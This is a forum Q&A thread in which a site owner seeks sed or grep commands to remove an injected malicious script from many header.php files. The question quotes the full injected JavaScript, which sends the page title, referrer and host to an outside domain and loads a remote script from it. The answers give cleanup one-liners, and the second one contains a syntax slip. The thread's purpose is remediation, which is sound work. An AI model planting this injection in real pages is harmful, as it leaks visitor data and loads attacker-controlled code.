How to remove a script tag from a text file with sed

Question

I have a number of header.php files that have a malicious script tag contained within them (don't ask). I've written a not-so-elegant shell script to replace these with blank space. I had initially tried to subtract the payload from the header.php but this didn't seem possible as the file was not a sorted list. Below is my code:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

The issue is that this code fails to execute with the error: sed: -e expression #1, char 578: unterminateds' command`. My assumption is that there are unescaped characters causing this issue, I have tried escaping all <> and {}'s, however this didn't seem to help (note the <> are still escaped above).

If there is a way to input a file containing the string into sed like sed -i 's/$payload/ /g' I have not been able to work that out yet.

Answer 1

If, as your answer says, the payload is on a single line by itself, this will do it, while creating backups of the files altered:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

Just be sure that the "someplacedodgy" string is unique to the payload lines.

Omit the .bak from -i.bak if you wish to skip the backups.

Answer 2

I worked out an easier solution to this issue as the string was contained on a line by itself.

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader